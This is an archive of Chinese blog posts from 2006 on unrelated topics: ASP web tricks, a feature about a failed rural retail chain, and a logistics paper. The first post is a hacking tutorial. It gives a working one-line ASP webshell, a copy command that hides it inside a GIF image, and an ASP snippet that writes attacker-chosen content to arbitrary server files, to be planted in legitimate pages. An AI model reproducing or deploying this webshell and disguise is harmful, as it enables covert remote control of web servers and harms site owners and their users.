非常设计

美人计--图片asp木马

Mon, 06 Feb 2006 03:35:00 GMT

一个网站里面除了asp文件，再就数图片文件最多了，它让我们的网页"美丽动人"嘻嘻，但是你有没有想到过这里面暗藏的杀机，图片也可以是asp木马。

asp木马已经出现很长时间了，种类也越来越多，但是说到隐蔽性，我们红魂老大写的--冰狐浪子asp
后门还是我众马中的首选，现在我们就把它作成图片asp木马。

首先我们把冰狐浪子asp木马服务端直接该后缀名为gif，记得用容错格式：

<SCRIPT RUNAT=SERVER LANGUAGE=javascript>try{eval(Request.form('#')+'')}catch(e){}</SCRIPT>

一、include给我们指路

接下来要使用include指令，这个指令也是我们常常看到的，但是它有一个很特别的功能，可能你就没有用到过了。这就是可以调用位于其它文件中的函数，不管它的后缀名是什么，哪怕是个图片文件。

然后我们新建一个asp文件，在里面写入，当然你也可以把它插入到任何asp文件的头部或者尾部，仅仅就这一句话。asp.gif就是冰狐浪子asp木马服务端，也是一句话，这个图片asp木马就做好了。

不过这里还有一个小问题，虽然网站里图片很多，但如果管理员不小心打开这个图片，在IE上显示的是一把小红叉，他会怎么想呢?

为了不让人怀疑，要让我们的图片美人动起来，让它成为真正的gif文件！

二、copy给我们加油

把asp.gif改名为asp.asp，然后去找个图片来，至于什么内容的图片，就看你自己的爱好啦，不过最好不要超过20kb，大了执行的速度就慢，把它保存为1.gif。

再启动windows下的dos窗口，键入copy 1.gif /b + asp.asp /a asp.gif

其中参数/b 是指定以二进制格式复制、合并文件。参数/a 是指定以ascll格式复制、合并文件。这里要注意文件的顺序。执行完后就会生成asp.gif，这就是我们的冰狐浪子asp木马服务端。不过现在它已经伪装成一个婷婷玉立的美人了，嘿嘿！如果要插入其他asp文件中，请插入下面代码

<%
on error resume next
id=request("id")
if request("id")=1 then
testfile=Request.form("name")
msg=Request.form("message")
set fs=server.CreateObject("scripting.filesystemobject")
set thisfile=fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg& "")
thisfile.close
set fs = nothing
%>
<form method="POST" ACTION="你插入文件的文件名?id=1">

<% end if %>

这里我们用一个id参数来蔽掉了，图片所产生的乱码。

好了在文章最后，还要谢谢LCX 老大和冰狐老大对我的帮助和支持！

此文写于2004、8月

多个域名绑定一个空间互不影响

Sun, 05 Feb 2006 02:29:00 GMT

多个域名绑定一个空间互不影响
第一步：创建转向控制页面
创建网站默认的首页文件（通常为"index.asp"或"default.asp"）如下：

<%select case request.servervariables("http_host")

<%
'取得HTTP输入的值并付值到HTOST中
host=lcase(request.servervariables("HTTP_HOST"))
'开始条件跳转
SELECT CASE host
' 如果HOST的值是www.abc0.com就选择事件case"www.abc0.com"的命令
CASE "www.abc0.com"
' Below is the redirect command
response.redirect "index_abc0.asp"
CASE "www.abc1.com"
' Below is the redirect command
response.redirect "index_abc1.asp"
CASE "www.abc2.com"
' Below is the redirect command
response.redirect "index_abc2.asp"
' 继续添加...
CASE "www.abcn.com"
' Below is the redirect command
response.redirect "index_abcn.asp"

'We use CASE ELSE to fix any other requests
CASE ELSE
response.redirect "default.asp"
END SELECT
%>

　　第二步：创建相应的被转向文件
　　创建"index_abc0.asp"—"index_abcN.asp"，作为各个网站的首页。

　　第三步：将多个域名的IP地址解析到同一个网站空间
　　例如：将"www.abc1.com"—"www.abcN.com"的IP地址全部解析到"www.abc1.com"的WEB空间上。

　　第四步：设置网站的WEB服务
　　设置WEB服务的别名为："www.abc1.com www.abc2.com www.abc3.com ...... www.abcN.com"（注意：别名之前用一个空格分开）

　　现在你就可以使用象"http://www.abc1.com"、……、"http://www.abcN.com"这类顶级的网址来访问同一个WEB空间，而得到各不相同的首页面了。

ASP控制图片显示的大小（等比例缩放）

Sun, 05 Feb 2006 02:26:00 GMT

<HTML>
<HEAD>
<TITLE> New Document </TITLE>
<script language="JavaScript">

</script>
</HEAD>
<BODY>
<a href="./img.jpg" target="_blank"><img src="./img.jpg" border="0" width="164" height="112" onload="javascript:DrawImage(this);"></a>
</BODY>
</HTML>

王景权的他的乡村连锁梦

Wed, 11 Jan 2006 09:10:00 GMT

2004年12月14日，北京，气氛热烈的“完善农村流通网络座谈会”，让与会者完全忘记了窗外冰冷刺骨的萧萧寒风。

　　这次会议是由国家商务部市场体系建设司组织召开，来自全国各地的政府官员和百货业巨头济济一堂，共同畅想着开发农村市场的广阔前景。当一位年近六旬、满脸风刀霜剑的干瘦小老头走上讲台时，全场却一下子愣住了：他就是王景权？他就是创办全国第一家乡村

连锁企业——沈阳蒲公英商贸公司的董事长？

　　“我是王景权……”面对台下的目光，王景权一时有些语塞。回想起这两年多的经历，尤其是连锁商店从无到有、企业由盛到衰的浮沉，那个原以为完美的梦想被现实重创后留下的痛楚，此刻清晰得就像发生在昨天一样……

　　55岁老头发现“新大陆”

　　2002年初辞职之前，王景权有着一份让人羡慕的职位：省广播电视局下属东北虎矿泉水公司总经理。要说经商做生意，这样的地位已经算不错了，但在他看来，自己创业当老板显然比拿着“铁饭碗”经商更加过瘾。

　　真正让王景权下定决心的，是农村这个广阔但落后的市场。

　　从1968年上山下乡开始，在辽北10多年的农村生活，让王景权对农村和农民有着深入的了解。在他的脑海中，除了贫穷之外，农村中的两个场景留下的记忆最深刻：一是散布在各村屯里的小卖店，那些店主们几乎每天都会匆匆忙忙地赶到城里进货，又费时又费力；二是乡镇农贸集市，农民大多提篮叫卖，买者担心质量没保证，卖者也难卖出好价钱。

　　“买东西难、卖东西更难”，这就是一个拥有庞大的消费人群和丰富的商品资源，却因流通体系和业态落后，而长期处于落后分散状态的农村市场的真实写照。

　　“如果我能建立起一个良好的物流平台，是不是就能改变这种现状呢？”城市里生意红火的连锁超市让王景权脑海中灵光一现，很快，他“异想天开”地决定到农村去搞“连锁”。

　　王景权的目光首先落在了村屯中的小卖店上。这些小卖店全是自营，或多或少都存在经营品种单一，商品质量良莠不齐，对农民消费吸引力不够的情况。但这些小卖店的数量相当庞大，仅法库县境内的309个村屯中，小卖店总数就超过2500家，在整个辽北这个数字则超过2万家。

　　“即使每店月营业额5000元，这些小卖店的年零售额总数也超过10个亿。假设能再把上游供货的厂商整合起来，利用规模效应，降低货物采购成本，那么，搞一个统一名称和货物配送的连锁零售网络，不是就能极大地开发出农村的市场资源吗？”王景权为自己的构想兴奋不已，但另一个问题接踵而来——

　　把小卖店“连锁”起来，固然能避免市场的散乱经营和无序竞争，但对小卖店的吸引力却并不够。如何把这些小卖店真正“连锁”起来呢？

　　春节后一天，到康平县郝官屯拜访朋友时，不少农家守着丰收的农副产品却为销路发愁的情景，让王景权的思路豁然开朗——如果能有效利用小卖店的连锁网络，对农副土特产品进行统一回购，不是既能增加小卖店的经营收入，吸引他们加入到连锁中来，又能降低公司的物流成本，更能扩大乡村连锁的网络效应么？

　　无形之中，王景权的构想从“百厂联合、万店加盟”，很快上升为“城乡互动、双向流通”，而这时，发现“新大陆”的兴奋已经让这个55的老头仿佛年轻了10岁。

　　2002年7月22日，一块“沈阳蒲公英商贸有限公司”的招牌在沈阳北郊法库县悄然挂了起来。用“蒲公英”这个颇有意味的名字，王景权有着一份美好愿望——希望乡村连锁商店会像蒲公英的种子一样，在广阔的农村市场遍地生根。

　　从1到3200

　　让“蒲公英”生根法库县，王景权有充分的考虑：一是法库的地理位置好，南接沈阳市区，北邻康平县，东靠铁岭，西通彰武，以此为核心可以让乡村连锁辐射整个辽北；二是法库的经济水平相对要高一些，对周边区域的带动作用明显。

　　“蒲公英”成立的第二天，王景权一大早就来到了县郊大孤家子路边的一家小卖店，在和店主拉家常时，他试探着说出了“乡村连锁商店”的想法。

　　“这简直是异想天开！”习惯了自主经营的店主连连摆手，但他的吃惊很快减弱了，“低于自主进货的配送价格，统一回购农副产品的实惠条件”，让店主将信将疑地接受了。当亲手把一块印有“蒲公英连锁”标志的牌子挂到商店门口时，王景权激动万分：第一家连锁店就是“蒲公英”的第一颗种子啊！

　　出乎意料的是，幸福降临得比想像中突然：加盟“蒲公英”的小卖店从最初的每月10来家，迅速递增到每月几十家上百家。到2003年年初，蒲公英商贸公司一度出现“蒲公英连锁”铭牌不够用，需要紧急赶制的情景。

　　王景权的思路无疑找准了脉搏——对于大多加盟“蒲公英”小卖店来说，进货成本可降低近10%。尽管有的批发点也提供送货上门业务，但“蒲公英”的服务更周到，关键是对农副土特产品的统一回购，更让小卖店店主们对“蒲公英”青睐有加。

　　而在村民们看来，在挂上“蒲公英连锁”招牌的小卖店买东西，可以不担心假冒伪劣商品，更不需要大老远跑到县里甚至市里，何乐而不为。况且这些连锁店还统一收购农副土特产品，和自己提篮叫卖相比既省事又实惠。有些小卖店经营更灵活，甚至可以把售卖和收购结合起来，没有现金支付，就直接用农副产品来交换，原始但却简单的“以货易货”让“蒲公英”在辽北大地转眼“火”了起来。

　　荣誉随之而来：2002年10月，由于王景权的思路与政府“企业进军农村，启动农村巨大消费市场”的号召不谋而合，辽宁省商业厅专门发了一份标题为《蒲公英连锁引领我省农村零售业态革命》的简报，“蒲公英”和王景权在辽沈大地更是声名鹊起。

　　2003年4月，是王景权和“蒲公英”最风光也是最繁忙的时间。除了继续朝着“万店加盟”的目标挺进之外，“蒲公英”的“百厂联合”也初具雏形，沈阳、义乌等地一批信誉好的生产企业陆续成为稳定的上游供货商。同时，配送中心对回购农副土特产品进行分拣、包装以及深加工的工作，也逐渐步入正轨。

　　“蒲公英”刚开始时，实力相当弱小，仅有注册资金50万元(后又追加200万元)，整个公司只有1辆车1个司机和1个业务员。为此，王景权给自己定下目标：第一年小亏，第二年平过，第三年才开始赢利。但当9个月时间加盟店总数超过3200家时，王景权已难掩狂喜，以致于没有闲心去想那些一直让他烦恼的事情。

　　“蒲公英”的烦恼

　　“蒲公英”的烦恼一直是无法回避的！

　　起初，王景权对会有多少加盟店心中无底。但后来事实证明这并不成问题——烦恼反而是随着“心中有底”而来：首先是加盟店数量的高速增长，让“蒲公英”的物流配送成本日益增高，而且居高不下。

　　刚开始时，“蒲公英”的连锁店不多，而且大多集中在法库和康平两县。但随着“蒲公英连锁”的招牌逐渐挂到铁岭、彰武等市县的村屯小卖店后，“蒲公英”的配送能力一下子捉襟见肘。尽管配送车辆已达16辆，但依然力量有限，物流成本更是水涨船高。

　　越来越多的加盟店，意味着越来越广的消费市场，但乡村小卖店终是乡村小卖店，即使依靠规模效应让“蒲公英”的采购成本降低了，但并不能抵消物流成本的重压。连一些司机也私下议论：为了送1000元的货，开着车跑出三四十公里远，王老板的账是怎么算的？

　　王景权本想通过回购农副土特产品产生的利润来降低物流成本，可这个计划的落空却带来了更大烦恼。原来，回购农副产品的销路不畅占用了“蒲公英”大量的流动资金。

　　村民和小卖店主对“蒲公英”都很积极，不过，当大量的红豆、花生，以及苋菜、车前子、榛子、山里红等山珍野货送到门口时，王景权却犹豫了。“我没法不犹豫，回购的农产品要卖出去，难啊！”

　　按原来的构想，农副土特产品销往大城市，主要对象是企事业单位、部队院校以及市场批发商。而现实却让王景权轻松不起来：其一是这些客户对“蒲公英”的态度并没有想像中的热情；其二尤为致命的，是“蒲公英”并没有建立起完善的销售网络，这导致“收、售”两端极度不平衡。

　　迫于无奈，王景权只得向加盟店发出“限品种、限数量”的通知，“双向物流，降低物流成本”的设想无形中化为泡影。

　　“蒲公英”刚上路时，每次货物配送不过10多万元；但后来短期内接连翻番，到拥有3200家连锁店时，每次货物配送量已接近100万元。加上统一回购的农副土特产品还需要相当的消化周期，占用了部分流动资金，资金链紧张很快让王景权体会到被“勒着脖子”的难受滋味。

　　一位做百货生意多年的沈阳老板为王景权算了一笔账：村屯小卖店的销售能力虽然不强，但3200家连锁店1年的营业额也超过2个亿。要运作这样一个连锁项目，没有3000万元流动资金是相当困难的。而事实上，蒲公英的资金有多少呢？前后加起来总数不到300万元，仅为3000万元的1／10。

　　迅猛的扩张能掩饰不安，但并不能真正消除不安，尤其当一些意料之外的变故发生后，隐隐的不安就会爆发成现实的危机。

　　重创

　　2003年夏那场突如其来的“非典”对中国经济的影响到底有多大，王景权说不清楚，但他很清楚这场“非典”对刚刚上路的“蒲公英”来说，就意味着一阵狂风暴雨。

　　4月初的一天，当王景权接到电话匆忙赶回办公室，几个送货的司机一下子围了上来，七嘴八舌地说起被拦在村口无法送货的事情。起初王景权还安慰说“非典”很快过去，但当坏消息接二连三地传来时，他也懵了。

　　“非典”带来的恐慌远远比灾难本身的影响大，许多村民都坚决地不允许外人进村，有的村屯甚至挖断道路，封闭村口。送货车再也进不了村，“蒲公英”的配送和回购都无法继续下去，一个庞大的乡村连锁网络转眼便瘫痪了。

　　眼看着一辆辆送货车歇在院子里，王景权心如刀绞却只能干着急，更让他着急的，则是已经采购回来的几十万元货物堆在仓库里变质，甚至腐烂。退货已经不行，卖又卖不出去，难道只能当垃圾扔掉么？那段时间王景权经常彻夜难眠，愁白了不少头发，最后他狠下决心：烧掉！

　　5月11日傍晚，法库县城郊垃圾处理场的空地上，王景权颤抖着打燃火机，费力地走向那一大堆变质的货物。熊熊的火苗很快吞噬了货物，也映照着他僵硬扭曲的面孔，他分明感到心在滴血：烧掉的是白花花的银子，烧掉的更是“蒲公英”赖以维系的生命线——这势必让“蒲公英”的资金链雪上加霜。

　　两个多月后，“非典”终于过去了，但王景权还没来得及舒一口气，另一个更大的难题摆在面前：“蒲公英”的流动资金已近枯竭，根本无法像以前那样为连锁店配送货物。

　　那段时间，王景权如同一头困兽四处乱撞：跑了不少银行，但“蒲公英”可抵押的固定资产并不多，贷款很快泡了汤；他又先后找了一些有钱的老板，但一听那样巨大的资金缺口和较长的回报周期，对方总是连忙起身送客。

　　四处融资未果，万般无奈的王景权一边变卖汽车、加工厂等救急，一边忍痛减少给连锁店配送货物的品种。再往后，送货量减少不说，连加盟店也一家家减少了。

　　尽管“蒲公英”的招牌依然挂着，但许多连锁店又逐步恢复到最初各自为战的局面，“蒲公英连锁”已是名存实亡，这让王景权每次从那块牌子下走过时心情都特别复杂。

　　2004年夏末，“蒲公英”停止了对最后一家连锁店的货物配送，而此时王景权仿佛转眼又老去了10岁。

　　我就是那匹骆驼

　　“一根稻草压死骆驼的道理我懂。”在王景权看来，自己就是那匹被压垮的骆驼。

　　从发现乡村连锁这个庞大的市场，到闯入这个陌生的领域，王景权这匹“骆驼”，从一开始就背负着农村市场消费水平低、网点分散和物流成本偏高的“三座大山”。而运作资本的薄弱，也让“蒲公英”从萌芽开始就存在着弱不禁风的隐患。

　　有人说，王景权这匹“骆驼”很坚强，扛着开拓农村市场的特殊性和复杂性带来的重重困难，硬闯出了一条通道，做成了全国首家乡村连锁企业。然而，到最后一根稻草落下，再顽强的骆驼，也无法承受起所有的重压。

　　“如果能同时建立起完善的城市配套销售网络，解决回购的农副土特产品的销售问题，将真正降低物流成本，就能让乡村连锁发挥出巨大的‘双向物流’的网络功能。”王景权曾这样自我总结。

　　假设王景权的设想真的实现了，是否会避免“蒲公英”的落败呢？无人可知！但可以肯定的是，王景权的教训会给更多看好农村市场的商人们一些启示；而“蒲公英”的经验，会让更多准备开拓农村市场的企业看到曙光，找准自己的合理位置。

　　2004年12月18日，辽北下了一场大雪，妆扮出一个银妆素裹、分外妖娆的世界。刚参加完商务部会议、从北京回到沈阳的王景权异常兴奋：国家对乡村连锁的支持，以及越来越多人对这个市场的看好，让我对重新搞好“蒲公英”，搞好乡村连锁这个事业大有信心。

　　“蒲公英的网络还在，只需要300万元左右的流动资金，我这匹‘骆驼’就可以重新站起来！”寒冷和兴奋让王景权不停地摩拳擦掌，在冰天雪地里向记者描绘着又一个春光明媚的未来。

传统储运企业向现代物流企业转型的成功关键

Wed, 11 Jan 2006 09:02:00 GMT

摘要:本文分析了我国传统储运企业向现代物流企业转型的现状与不足，提出了物流企业核心竞争能力的种类和发展形态，分析了国内外物流企业资源整合的研究状况，提出了基于核心竞争能力的物流企业资源整合是传统储运企业向现代物流企业转型的成功关键，论述了基于整合的物流企业核心竞争能力的具体判断过程、阶段性目标和主要原则。

关键词:核心竞争能力；物流企业；资源整合；转型；

1、传统物资储运企业向现代物流企业转型的现状分析
传统储运业正向现代物流业转化积极推进。由传统运输﹑储运及批发贸易企业转变形成的物流企业依托原有的物流业务基础和在客户﹑设施﹑经营网络等方面的优势，通过不断拓展和延伸其物流服务，不断向现代物流企业转化。

我国的物流企业正面临着飞速发展时期，分析我国的物流企业的来源，大多数是从传统的储运企业发展而来，如运输业、仓储业、货代业、托运人、财务和信息咨询公司、港口码头铁路、电子分销商等七种[1]。这些从传统的储运业务转型为现代物流企业的过程中，往往重视形式而缺乏核心的改造或者改造不彻底，留于形式。例如，文献2指出用物流理念改造传统货运，创办快递服务，开展直销配送，建立专业物流公司，创建规范物流园区，加大投入，谋划未来。也有的学者指出，变革体制，适时转型的观点，提出加大信息化，改造流程，改变观念等手段来促进转型[3][4]。也有学者指出，完善物流配送功能，以传统储运为基础，建立多种形式的物流、配送中心，加强横向联合，开发各自物流资源等手段以促进转型[5]。

诸多的学术文章和企业实例表明，多数的企业在转型的过程中往往重视表面理念，缺乏实际运作，重视资产技术投入，忽视资源整合。一些企业仅仅是打着物流的旗帜，干着其他的活动，一哄而散的现象随处可见。甚至有很多企业把物流的牌子换上了，却不知道如何具体的运作，甚至还是以传统的模式和方法去理解物流和操作物流。

2、物流企业核心竞争能力
2.1企业核心竞争能力研究现状分析
随着企业理论、资源观理论的不断发展及其与企业战略理论的不断结合，20世纪九十年代初，理论界提出了基于核心竞争能力的的竞争优势理论。企业中长期发展和竞争优势依赖于企业自身构建、培育和拥有特殊的资源和能力，这已经是当今各国战略管理专家、学者的共识。西方战略学家普拉哈拉德（C.K.Prahald）和哈麦尔（Gary hamal）于1990年在《哈佛商业评论》首次正式论述了企业核心能力及其在工商管理实践中的应用之后，世界各国对核心竞争能力的定义特征和范围等作了诸多的研究，取得了丰硕的成果[6]。哈麦尔（GARY HAMEL）和普拉哈拉德（C.K. RAHALAD）于1994年又在《哈佛商业评论》发表了《未来的竞争》，提出未来的企业竞争必须形成核心竞争能力，提出了企业竞争战略杠杠作用和延展策略[7]。关于核心竞争能力的文献，文献8做出了较为详细的论述。以资源为基础的竞争优势理论认为，企业培育持续竞争优势的基础在于构筑与众不同的核心能力；企业在制定持续发展战略时，应该考察自己是否拥有独特的资源与知识，以及这些能否为企业带来独特的价值。以技能为基础的企业认为，企业获取竞争优势的关键是培养独特的、无法模范的先进技术，企业的核心竞争能力来源于长期积累的技能的有机融合。组织基础论则认为企业的竞争优势是培养独特的组织模式以及相互协调，流程分析论则认为企业竞争优势来源于能使企业发挥最大效率的业务流程。动态能力理论则综合了以上的观点，强调了组织的学习的重要性。

一些学者归纳出判断某项资源或者能力是否是企业核心竞争能力的六大标准：稀有性、难以模仿性、持久性、获利性、替代性、优越性[9]。

2.2物流企业核心竞争能力
近些年来，越来越多的人开始运用核心竞争能力来评价一个物流企业的运作水平，保障能力。物流企业的核心竞争能力具有企业核心竞争能力的基本特征，但对实际的企业而言，确实很难评价一个物流企业与别的企业相比有更优的核心竞争能力。在物流企业核心竞争能力的研究中，还没有完全形成一个比较统一的标准来界定物流企业的核心竞争能力。于忠元提论述了物流企业的核心竞争力的三个误区，即物流企业核心竞争力不等于物流设施的优势；核心竞争力必须经过长期的积累才能形成核心竞争；核心竞争力不是取之不尽，用之不竭的，需要锻造磨练[10]。郝聚民提出了物流企业核心竞争能力的三种形态，即物流管理能力、物流运作能力和物流规划能力[1]。张明等提出了物流企业核心竞争能力的不足，但是都未能分析具体的核心竞争能力的表现[11]。

进一步界定物流企业的核心竞争能力的内涵和表现，形成规范化和统一化是有必要，只有这样，物流企业核心竞争能力才不会是一句空话和口号，才能真正的为物流企业带来理念和运作上的深刻变革，才能使企业在竞争中占有一席之地。

综合以上的观点，在现代物流企业中，我们认为物流企业最主要的核心竞争能力有三种：
① 物流运作能力：具体表现为：订单完成率高、运作成本低、运作时效性好、适应新业务快、意外处理能力强、服务柔性化强等；
② 物流管理能力：内部管理能力和外部管理能力。其中内部管理能力表现为订单管理、库存管理、运输优化。外部管理能力包括信息服务、客户关系管理、公共关系管理、品牌提升；
③ 物流体系创新的能力：主要表现为物流创新服务研究与策划、物流体系综合规划等；

物流企业三种核心竞争能力的表现
类别具体的表现
物流运作能力订单完成率高、运作成本低、运作时效性好、适应新业务快、意外处理能力强、服务柔性化强等

物流管理能力内部管理能力企业规模经济（网络化）订单管理、库存管理、运输优化等

外部管理能力品牌提升、公共关系管理、客户关系管理、信息服务等

物流体系创新能力物流创新服务的研究与开发、物流体系综合规划等

2.3物流企业核心竞争能力的三种发展形态
一个物流企业的核心竞争能力要转化为持久的竞争优势，必须经过不断的积累和成长。这里依据核心能力的外在表现形态可以分成三种：基础态核心竞争能力、亚状态核心竞争能力和成熟态核心竞争能力[8]。

基础态核心竞争能力指物流企业具有初步的核心要素，但是由于积累时间有限，尚没有形成完全的独特性和稀有性，核心能力的保护层不够，其抵抗外界力量的侵蚀的能力还不强。因此，在这种状态下，物流企业的外在表现是物流企业拥有一定的客户，物流服务水平尚且未能健全，但竞争能力不强，物流企业的主要目标是稳定客户关系，提高客户满意度，并尽可能规范化运作，为用户创造差异化服务。例如，这些企业通常是刚刚完成向物流企业转型或者新兴的物流公司。

亚状态核心竞争能力是指物流企业已经拥有一定独特性和生命力的核心要素，而且通过不断的获取外部知识，结合自身企业的吸收，形成稀有资源；同时，通过构筑和强化核心能力的保护层，使企业抵抗核心能力被侵蚀被复制的能力增强；更主要的是，企业已经初步形成能力平台，通过能力的扩展为用户更快更好的创造价值。此时，企业的目标是需求快速的成长与壮大。例如，物流企业拥有一些物流核心竞争能力诸如物流运作能力、物流管理能力以及物流规划能力，在突出核心竞争能力的同时开始朝着专业化方向或者综合性方向发展，并且伴随着物流企业的资源整合进一步强化这些核心竞争能力。

成熟态核心竞争能力是指物流企业已经具有了独特且稀有的战略性核心资源，并且构筑了坚固的保护层，外部组织不但难以模仿，而且也很难侵蚀战略性核心资源，企业构筑其完善的能力平台，能持续地、更快地为用户创造独特的价值。此时企业的目标是实现持续性发展的同时获取稳定的高额利润回报。例如UPS、EXEL、FedEX、TNT、Ryder、Nippon Bxpress（日通）、德国邮政等世界物流企业前十强各自拥有成熟的核心竞争能力，这种核心竞争能力已经形成并保持稳固[19]。

3、物流企业资源整合研究分析
资源整合已经成为当今物流界较为热门的话题。文献12提出了物流整合的意义和整合内容[12]，该文把物流整合分类为战术层次和战略层次，提出了物流整合的基本内容如客户资源整合、能力资源整合和信息资源整合；文献1提出了第三方物流的整合方法，提出以横向和纵向分别进行整合，横向整合以功能为主，纵向整合以规模扩张和网络化为主 [1]；文献13提出物流要素集成化原理实际上就是物流的整合原理，该文提出物流要素集成是区别传统储运业与现代物流业的最主要特征[13]，系统地分析了要素集成的动机、机制和结果；文献14从整个物流大系统出发，提出了物流整合力的观点，认为“整合力就是硬件和软件的合一，是物流企业对市场发展所具有的适应力、协调力和综合力的总和。物流整合力＝物流设施×营销能力” [14]；文献15提出了物流集成理论。提出了物流集成理论应用于物流研究的内容，提出了集成理论对物流供应链的指导的基本原则[15]。

文献16提出了资源整合的模式[16]，该文认为，物流企业的资源整合基本上有两种：一种是物流企业内部的资源整合；另一种是物流企业内外资源整合，包括物流企业及其集团内部的资源整合以及物流企业与外部企业的资源整合。目前，在中国物流行业，与物流有关的资源整合有以下几种情况：物流企业的内部资源整合；非物流企业将物流作为核心业务的资源整合；在企业资源整合中引入物流概念；物流企业之间的资源整合；物流企业与非物流企业之间资源整合；非物流企业与物流企业的资源整合。

国外的许多物流学者也提出了物流整合的概念。比较代表的有唐纳德J.鲍尔所克斯等人提出综合（整合）理论。强调了对物流位置结构、仓库位置类型、运输节约、库存节约、最小成本设计、物流战略的制定等方面[17]。Dorothy Leonard从动态的角度概括了企业资源整合的方法和过程，他认为企业资源整合就是在发现和建立企业的核心竞争能力的基础上，通过一定的决策措施，对物流企业内外的系统功能、实体资源、信息、网络要素以及其他要素进行统一规划、管理和评价，从而实现整体的最优化目标，并且通过动态的资源整合检验和发展物流企业的核心竞争能力，促进企业的快速健康发展[18]。

可以看出，国内外的物流资源整合研究基本上都集中在具体的整合内容和方法上，而没有围绕提高物流企业的核心竞争能力而做出一方系统的论述，事实上，物流企业资源整合必须建立在正确地发现、认识和掌握企业的核心竞争能力基础上，才能取得更好的效果。

4、转型的成功关键：基于核心能力的物流企业资源整合
我们有必要指出，物流企业是一个系统，必须以系统的观点考虑整个企业。企业是一个动态的资源系统，其输入输出模型见图1。
影响环境
行业因素、宏观因素

企业是一个动态的资源转换系统示意图
物流企业是在一定环境因素影响下的投入和产出过程，企业的基本战略就是努力提高企业的资源能力，以可以运用的资源争取最大的产出。企业为了实现资源转换的功能，企业必须吸纳资源，同时承担输出部分。要求尽可能将企业的服务产品外推出去。同时，企业还有转换和加工资源的部分，要求能够实现高效率的加工转换的能力。

既然传统的储运业向现代物流业转化，必须对其投入、内部的领导和管理，输出进行综合的整合。整合的目的就是提高核心竞争能力。没有核心竞争能力，企业将很难有立足之地。那些在转型过程中忽视了核心竞争能力的资源整合的企业，在其具体的运作中必将显得没有战略性，即使在一时的机会中得以生存，但是其时间是不持久的。

基于核心竞争能力的物流企业资源整合的效应非常明显，主要体现在以下几个方面：
（1）物流企业资源整合有利于企业之间实现合理分工，发挥专长，实现优势互补。能够帮助物流企业突出自己的核心业务和核心竞争力，真正取得1+1>2的效果【14】。

（2）物流企业资源整合有利于发挥优势，最大限度降低运作成本，提高企业经济效益。

（3）物流企业资源整合有利于社会资源的充分利用，进一步促进物流运作的社会分工，提高物流资源的运作效率，避免重复建设。

（4）物流企业资源整合有利于根据企业发展战略和市场需求对有关资源优化配置，并寻求资源配置与客户需求的最佳结合点。

在基于核心竞争能力的物流企业资源整合后，企业将实现其根本的目的，即资源转换的最大化，同时又进一步的提高了企业的核心竞争能力，为新一轮的企业物流整合奠定了基础。经过“平台－台阶”式的物流企业资源整合，企业的核心竞争能力进一步凸现和发展并生产出更多更好的核心业务产品和其他产品群，只有这样，传统的储运企业向现代物流企业转型才能真正获得成功。

5、基于整合的物流企业核心竞争能力的具体过程
从本质上说，物流企业核心竞争能力的激活和更新离不开对物流企业本身资源和外界资源的统一和整合，离开了资源整合，就谈不上形成和发展核心竞争能力。上述提到的核心竞争能力的识别过程和发现方法实际上就是资源整合的过程，从而更好的认清企业的优势、劣势、机遇和威胁，进一步挖掘企业的竞争能力所在。因此，资源整合已经成为物流企业核心竞争能力的激活和更新的重要方法。

在物流企业的核心竞争能力激活和更新中，首要的是对企业的各种资源（无形资源和有形资源）进行调查认识，其次对现在的能力进行分析，并且对资源和能力进行整合，以此判断能否满足提高核心竞争能力的标准，如果能够满足这种标准，那么就可以发展成为核心竞争能力，如果不能，那么就是一般的资源和能力。

基于整合的物流企业核心竞争能力的具体判断过程

我们已经指出，物流企业进行资源整合不论从具体的操作内容和操作的过程，不论从战术层次还是从战略层次上，都应该始终围绕一个内容，那就是提高和发展物流企业核心竞争能力。对于不同的阶段的物流企业资源整合应该有具体的阶段性目标。

具体的说，基于核心竞争能力的物流企业资源整合的主要阶段性目标有以下几点。
① 发现企业核心竞争能力。通过物流企业资源整合，发现企业的核心竞争能力，并在物流企业全体管理者和员工中形成共识。

② 构筑企业核心竞争能力。由于许多企业的核心竞争能力尚未成熟并呈现出不明朗的状态，这时就需要结合企业的资源整合过程，进一步认清自己的优势和劣势以及机遇与挑战，构筑在当前形势下企业的核心竞争能力，如物流运作能力、物流管理能力或者物流规划能力。并制定出适当的发展规划。

③ 强化企业核心竞争能力。在认清自己企业的核心竞争能力的现状以及发展方向之后，进行不断地强化，提高物流企业的核心竞争能力。增强抵抗外界环境的锈蚀能力。同时，在具体的业务上能进一步体现企业核心竞争能力。

④ 拓展企业核心竞争能力。这是成熟态核心竞争能力的关键问题。在核心能力发展成熟后，应该进一步整合物流企业资源，拓展企业核心竞争能力的宽度，形成核心竞争能力簇，形成核心竞争业务产品簇。

基于核心竞争物流企业资源整合的主要原则物流整合的要素目标和物流整合成本目标有机统一。即在一定的物流资源整合成本情况下，物流整合的要素目标最大化。

核心竞争能力发展状态对应核心竞争能力的资源整合阶段性目标物流企业资源整合主要原则基础态核心向亚状态过渡的亚状态核心成熟态核心竞争能力核心竞争能力竞争能力竞争能力发现企业核心构筑企业核心强化企业核心拓展企业核心竞争能力竞争能力竞争能力竞争能力物流整合的要素目标和物流整合成本目标有机统一。

参考文献：
1、郝聚民，第三方物流[M]，成都：四川人民出版社，2002年：175-188
2、改造传统货运，融入现代物流[J]，北京：交通企业管理，2002年第9期：41-42
3、张忠林，浅谈快速货运业切入现代物流的途径，北京：交通企业管理，2002年第9期：24-25
4、杨绍鹏，传统中小运输企业如何向现代综合物流企业转型[J]，北京：中国流通与采购，2002年第17期：47-48
5、金真，唐浩，现代物流[M]，北京：中国物资出版社，2000：177-179
6、宁建新，企业核心竞争能力的构建与提升[M]，北京：中国物资出版社，2002：3－4
7、ARY HAMEL C.K. RAHALAD，Competing For the Future[M], Harvard Business School Press，Boston Massachusetts,1994
8、魏江，基于核心能力的企业构并和整合管理模式，北京：科学出版社，2002：64，71-73
9、董大海，战略管理[M]，大连：大连理工大学出版社，2001：54-55
10、于忠元，企业核心竞争力的三个误区[J]，中国物资流通，2001年第24期：38-39
11、张明，王恩涛，物流企业的核心竞争能力有待提升[J]，中国物流与采购，2002年第2期：33-34
12、王佐，论物流整合[J]，北京：中国流通与采购，2002年第22期：8-15
13、何明珂，物流系统论[M]，北京：中国审计出版社，2001：319-320
14、黄国雄，试论现代物流的整合效应[J]，商场现代化，2000年第19期：18-19
15、董千里，高级物流学[M]，北京：人民交通出版社，1999：25
16、徐文静，物流的战略规划与模式[M]，北京：机械工业出版社，2002年：170-171
